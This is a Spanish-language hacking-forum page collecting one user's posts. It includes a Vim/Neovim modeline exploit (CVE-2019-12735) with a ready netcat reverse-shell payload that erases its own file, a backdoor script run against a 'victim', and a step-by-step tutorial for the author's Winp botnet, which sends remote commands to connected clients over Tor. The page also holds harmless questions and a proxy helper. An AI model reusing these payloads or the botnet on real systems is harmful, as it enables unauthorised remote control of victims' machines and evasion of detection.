# END OF CONFIG         # nothing for you to do after this point #

Probando y ejecutando estilo eliot:

Code: You are not allowed to view links. Register or Login
perl rwwwshell-2.0.pl master # Esperamos a que se conecte la victima

Code: You are not allowed to view links. Register or Login
perl rwwwshell-2.0.pl slave # La victima se conecta a la maquina atacante



*Algo que no hace eliot es eliminar la puerta trasera usando el comando shred, lo que hace es cifrarlo el número de veces que le pasemos como argumento, para hacer esto tendremos que pasarle el siguiente parámetro "-u"*

- DtxdF

53
Dudas y pedidos generales / [DUDA] Ayuda con un reto en HackTheBox
« on: July 05, 2019, 03:38:19 pm »
Hola, como les va a todos?

Acabo de registrarme en "You are not allowed to view links. Register or Login" y de una vez estoy realizando un reto que consiste en que hashee (a MD5) el string proporcionado por la página lo mas rápido que pueda.

Lo hago rápidamente pero no es suficiente, pienso que como el string está codificado base64, no me da el resultado correcto cuando lo hasheo, así que lo descodifico y vuelvo a hashearlo pero tampoco es suficiente, así que decido crear un bot que busque el string y haga lo mismo que hice anteriormente pero tampoco es suficiente.

Este es la página del reto: You are not allowed to view links. Register or Login

Necesito ayuda es que me orienten ya que quiero aprender, muchas gracias :D

EDITO:

Disculpen por no haber presentado una imagen, pense que ya era suficiente con el link pero me di cuenta de que es dinamico, aqui les dejo una imagen:


54
Hacking / Como hackear Linux con un archivo de texto (.txt)
« on: June 11, 2019, 09:34:05 pm »
Nueva vulnerabilidad en "Vim" y "Neovim" permite la ejecución de comandos



No hace mucho el investigador Armin Razmjou descubrio un fallo que hace vulnerable a cualquier Linux que cuente con el famoso y querido editor de texto "Vim" y su Fork "Neovim", Vulnerabilidad registrada como CVE-2019-12735.

Pero ... ¿Que es Vim?

Vim, por sus siglas en Ingles "Vi improved" es una versión mejorada del editor de texto vi, presente en todos los sistemas UNIX. Su autor, Bram Moolenaar, presentó la primera versión en 1991, fecha desde la que ha experimentado muchas mejoras.

Vulnerabilidad

Este fallo es debido a una caracteristica llamada "modelines", que basicamente le permite al editor de texto (Incluyendo Neovim) cargar desde cualquier fichero una configuración personalizada.

Esta caracteristica viene habilitada por defecto en estos editores, caracteristica que si el usuario lo desea la puede desactivar, el problema yace es que la mayoria de usuarios no lo hacen, ocasionando un posible control total a un atacante.

Como apoda el titulo de este articulo con un simple archivo de texto con un modeline especifico y simple es posible conseguir ejecutar codigo directamente en la memoria del sistema. Aunque Vim y Neovim pueden ejecutar los comandos peligrosos dentro de un sandbox, al utilizar "source" en la linea del codigo se consigue salir de este aislamiento.

Prueba de Concepto

En este articulo no solo quiero tocar teoria, tambien practica, para eso solo crearemos un fichero de texto llamado "poc.txt" (Para este ejemplo), donde contendra el siguiente codigo modificado de "You are not allowed to view links. Register or Login" para conseguir el control del sistema remotamente o lo que se podria simplificar como una shell remota con una conexión inversa utilizando la navaja suiza "Netcat":

Code: You are not allowed to view links. Register or Login
:!nohup nc <ip> <puerto> -e <shell> >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm <nombre del archivo> >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Ejemplo

Code: You are not allowed to view links. Register or Login
:!nohup nc 127.0.0.1 4444 -e /bin/sh >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm poc.txt >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Claro ya tenemos que tener a netcat a la escucha:

Code: You are not allowed to view links. Register or Login
nc -vlp 4444
Una vez conectado podremos ejecutar comandos remotamente:

Code: You are not allowed to view links. Register or Login
[email protected] ~# nc -vlp 9999
listening on [any] 9999 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42730
whoami
root



Parches y soluciones

Si ya ibas a lanzar la computadora por la ventana, tranquila/o ya los responsables de Vim y Neovim lanzaron sus parches para corregir las vulnerabilidades originadas por estos mismos con el fin de que sigamos usando estos increibles editores. En el caso de Vim, el parche que lo protege es el "8.1.1365", y en Neovim es la versión "0.3.6".

¿Vim y Neovim no son vulnerables?, vamos a vulnerarlos!

Si en este caso no son vulnerables, pero deseas realizar la prueba de concepto, lo puedes lograr desde el archivo de configuracion de Vim, mayormente ubicado en: '/etc/vim/vimrc', aunque primero verifiquemos ejecutando la siguiente sentencia con Vim ya abierto:

Code: You are not allowed to view links. Register or Login
# Presionamos ":" y colocamos set modeline?
# Si nos retorna "modeline" es porque somos vulnerables a este ataque y si no, nos retornaria "nomodeline"
# Y si quiero cambiarlo a "modeline" en caso de que nos retorne "modeline", colocamos el siguiente codigo en el archivo de ćonfiguracion de Vim "/etc/vim/vimrc"
# set modeline
# Y para ver si la prueba es exitosa, realiza el POC y me dices que tal ...

¿Dudas?, comentamelo o hazme saber si quieres más articulos de noticias recien sacadas del horno

Referencias:

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

- DtxdF

55
Hacking / Tutorial de Winp
« on: June 11, 2019, 12:05:13 am »
Tutorial de Winp

No hace mucho hice un pequeño aporte a la comunidad enseñando mi mini-proyecto para la creación de una botnet: "You are not allowed to view links. Register or Login", pocos usuarios pero con palabras que debo escuchar, requerían de documentación o algún tutorial acerca de esto, así que les traigo "Tutorial de Winp".

Antes de seguir debemos saber ... ¿Que es una botnet?

una pequeña definición según wikipedia:

Quote
Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática.​ El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota.

¿Que es Winp?

Winp, es un proyecto de código abierto para la interacción múltiple de varias terminales remotas

Características

* - Cifrado híbrido (AES256 y RSA)
* - Múltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - Rápido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto esta disponible para dos plataformas muy usadas)

Instalación

Code: You are not allowed to view links. Register or Login
Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables

git clone https://github.com/DtxdF/Winp

Uso

Generar las claves públicas y privadas o el par de claves:

Code: You are not allowed to view links. Register or Login
# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tamaño en bits de las claves. Si presionas "ENTER" usaras el predeterminado.

...

No se localizaron las claves asimétricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]: _

...

# Si estas realizando una prueba puedes usar el tamaño en bits por defecto o uno menor; Una vez que des el ENTER empezara la generación de las claves donde tendremos que esperar

...

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:
El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!
Generando ...
Escribiendo claves en el disco ...
Hecho!
Winp>

...

# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.


Manejo y configuración de claves

La diferencia entre claves configurables y no configurables es que las configurables ademas de que no se pueden modificar a traves del script, son tus claves generadas al principio y las configurables ademas de que se pueden modificar, estas interactuan con el descifrado y cifrado

Code: You are not allowed to view links. Register or Login
# Para ver cuales son las claves no configurables
Winp> show keys
Clave Pública: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)

...

# La clave pública se debe introducir en client.py, a continuación ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python

python
# Importamos el modulo rsa
>>> import rsa
# Generamos
>>> keys = rsa.newkeys(1024) # Tamaño en bits
>>> keys[0] # Clave pública
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py

...

Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)

Configuración del cliente

Code: You are not allowed to view links. Register or Login
# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuración del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos

...
rhost = str('127.0.0.1') # Dirección del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuración
passwd = str("password123!") # Contraseña, normalmente esta en la configuración
buff = int(1024) # El tamaño de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno más grande

public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...


Ver los clientes conectados e interacturar con ellos

Code: You are not allowed to view links. Register or Login
Winp> show clients
... Aqui se mostrarían los clientes, pero debido a los caracteres el navegador no los visualizaría correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la dirección IP y el puerto, eso es un separador)
# Ahora enviemos un simple comando:
Winp> shell remote 127.0.0.1P48210 execute whoami
# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organización e incluso con organización por dirección IP
# Forma desorganizada
Winp> show data
... Los datos no los público por los caracteres
# Forma organizada
Winp> show data 127.0.0.1P48210
...

Configuración

Si necesitas cambiar un valor o el funcionamiento del script completo, puedes hacerlo en utils/config.py

Code: You are not allowed to view links. Register or Login
# -*- coding: UTF-8 -*-

import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable

conf = {
        'proxy_setting':{ # Configuración del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La dirección del proxy, en este caso es la dirección del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contraseña
            },
        'rsa_setting':{ # Configuración de rsa
            'bitsize':1024, # El tamaño de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecución
            },
        'socket_setting':{ # Configuración del socket
            'lhost':'127.0.0.1', # La dirección del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tamaño del buffer para la recepción de datos
            },
        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contraseñas
            },
        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },
        'time_setting':{ # La configuración del tiempo
            'sleep':1 # El intervalo de espera
            },
        'keys_setting':{
            'bitsize':1024
            },
        'shelve_setting':'db.dat', # La configuración de shelve para la serialización
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                'ñ':'\xa4',
                'ó':'\xa2',
                'í':'\xa1',
                'ú':'\xa3',
                'á':'\xa0'
            }
        }

Imágenes:



ATENCIÓN y DISCULPAS: Actualice a una versión reciente de Winp ya que se arreglaron errores de código

Nota-1: Si usas un sistema operativo/distribución que no se menciono o no se probo su funcionamiento, ayúdame a verificar su funcionamiento haciéndomelo saber
Nota-2: El proyecto se ira actualizando constantemente, esta atento ante nuevas funcionalidades, corrección de errores, etc
Nota-3: Esta información en cualquier momento puede quedar obsoleta, tratare de actualizar lo más rápido posible

56
Hacking / Winp: Una botnet desde tu casa!
« on: June 10, 2019, 02:14:58 am »
Winp


Un script en python para la interacción remota de varias terminales o básicamente un script para la creación de una botnet.


Características

  • Cifrado híbrido en las conexiones - (RSA y AES256)
  • Incrustamiento de un proxy en el cliente
  • Múltiples conexiones
  • Autocompletado semi-inteligente

Requerimientos - (Principal)

  • Python 2.7

Requerimientos - (Python)

  • PySocks
  • readline - (Linux)
  • pyreadline - (Windows)

Requerimientos - (Opcional)

  • Tor o un proxy

Instalación

Code: (text) You are not allowed to view links. Register or Login
Windows:

pip install win-inet-pton
pip install pyreadline

Linux:

pip install readline

Los dos:

pip install PySocks

git clone https://github.com/DtxdF/Winp
cd Winp
python gen.py
Winp> help
...
Winp>

Uso

Ejecutamos por primera vez y veremos que aparece el siguiente mensaje:

Code: (text) You are not allowed to view links. Register or Login
No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:

Introducimos la longitud en bits de las claves asimétricas o Enter para aceptar el tamaño que nos aparece por defecto

Code: (text) You are not allowed to view links. Register or Login
...
Tamaño en bits [1024]:
El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!
Generando ...
Escribiendo claves en el disco ...
Hecho!
Winp>

Una vez creada las llaves nos mostrara el prompt donde podremos introducir comandos como por ejemplo ...

Code: (text) You are not allowed to view links. Register or Login
...
Winp> help # Para la ayuda
...
Winp> show keys # Muestra las llaves no configurables
...
Winp> show key public # Muestra la llave pública configurable
...
Winp> show key private # Muestra la llave privada configurable
...
Winp> show clients # Muestra los clientes conectados
...
Winp> show data # Muestra los datos recibidos
...
Winp> set key add public <Clave pública> # Para definir la clave pública del destinatario
...
Winp> shell remote <Dirección> <Comando> # Enviar un comando remoto
...

Imagenes

Generamos el par de claves del cliente (Victima)



Vemos el funcionamiento de algunos comandos y como configurar la clave pública del cliente



Preguntas

¿Te gustan estos aportes?, ¿Deseas que haga un tutorial más explicativo acerca del tema?, ¿Tienes dudas?

NOTA: Solo esta probado en Windows y Linux, por lo tanto solo se indicaran las caracteristicas/requerimientos para estos. (Windows 7, Kali linux)

Si tienes alguna duda no dudes en comentarlo y Gracias por leer ...

- Creado por DtxdF

57
Dudas y pedidos generales / Ayuda con rpyc en python
« on: June 04, 2019, 05:27:40 pm »

Estoy creando una aplicación en python usando el protocolo rpyc para ejecutar python remotamente, en esto me encuentro con una duda que me frena.

Inspiración, gracias pupy rat (Un troyano igualmente escrito en python y usando este protocolo). En eso que pruebo este rat me di cuenta de algo, la conexión era inversa y la conexión para interactuar de rpyc (Cuando yo empecé a usar este módulo), era una conexión directa, me frena el hecho de que el firewall/IPS/Ente protector o la interaccion no iba a hacer la misma debido a que los niveles de detección de la conexión va a hacer mucho mas propensa a la detección (Aunque también una conexión inversa puede ser detectable, pero ese es otro tema).

Lo que necesito es que llenen de conocimiento acerca de cómo hacer para enviar código de python del servidor al cliente.

Gracias :'D

58
Python / Convex: Dale privacidad también a tus scripts
« on: May 31, 2019, 05:28:41 pm »
¿Que es?

Convex es un script de código abierto que te permite implementar en tu programa/script/snippet un proxy para obtener mayor protección a la hora de realizar conexiones en el exterior

Requerimientos

  • Python2.x (python >= 3 no probado)
  • Módulo socks de python
  • Librería de socket estándar (pre instalada)

Instalación

Code: (text) You are not allowed to view links. Register or Login
[Linux y derivados] - No te asustes, lo puedes hacer en Windows descargando e instalando la librería socks
sudo apt-get install python-socks
git clone https://github.com/DtxdF/convex.git

Para usar este script sólo debes seguir dos pasos:

  • Importar
Code: (python) You are not allowed to view links. Register or Login
import convex
  • Ejecutar la función encargada (rellenando la información al menos que se quiera dejar por defecto: (proxy_type=socks.PROXY_TYPE_SOCKS4, proxy_addr="127.0.0.1:9050", rdns=True, username=None, password=None)
Code: (python) You are not allowed to view links. Register or Login
convex.transfor() # como ven ejecuto la función con la información por defecto, uso la dirección estándar de **Tor** para este ejemplo

    Para este ejemplo usaré la librería requests

    Code: (python) You are not allowed to view links. Register or Login
    import requests
    import convex

    convex.transfor()

    data = requests.get("http://ip-api.com/json").json()

    for key, value in data.items():

        print("℅s => ℅s" ℅ (str(key), str(value)))

    # Si queremos volver a tener nuestra dirección IP

    convex.restruct()

    Pueden ver mas información en mi repositorio: You are not allowed to view links. Register or Login

    59
    Hola comunidad de Underc0de, no solo les vengo a preguntar, si no, insistir algo que pregunte no hace mucho.

    Mi duda es como se crean esos programas estilo: nano, wifiphisher, hexeditor, vim y más.

    No me refiero a su función en si (ejemplo: nano, editar, leer archivos), me refiero a que su modo de uso es usando el teclado sin salir de la terminal.

    Busco en Google pero nada, se los agradecería.

    60
    Dudas y pedidos generales / ¿Crear un programa de texto en linux?
    « on: February 28, 2019, 08:01:05 pm »
    Hola, hace algún tiempo me estoy metiendo en el mundo del pinguino y me entro la curiosidad de como crear un programa de modo texto estilo: nano, wifiphisher, hexeditor, btscanner, lynx, etc; Programas que su modo de uso que los caracteriza es usando combinaciones de teclas.

    Gracias  ;D

    Pages: 1 2 [3] 4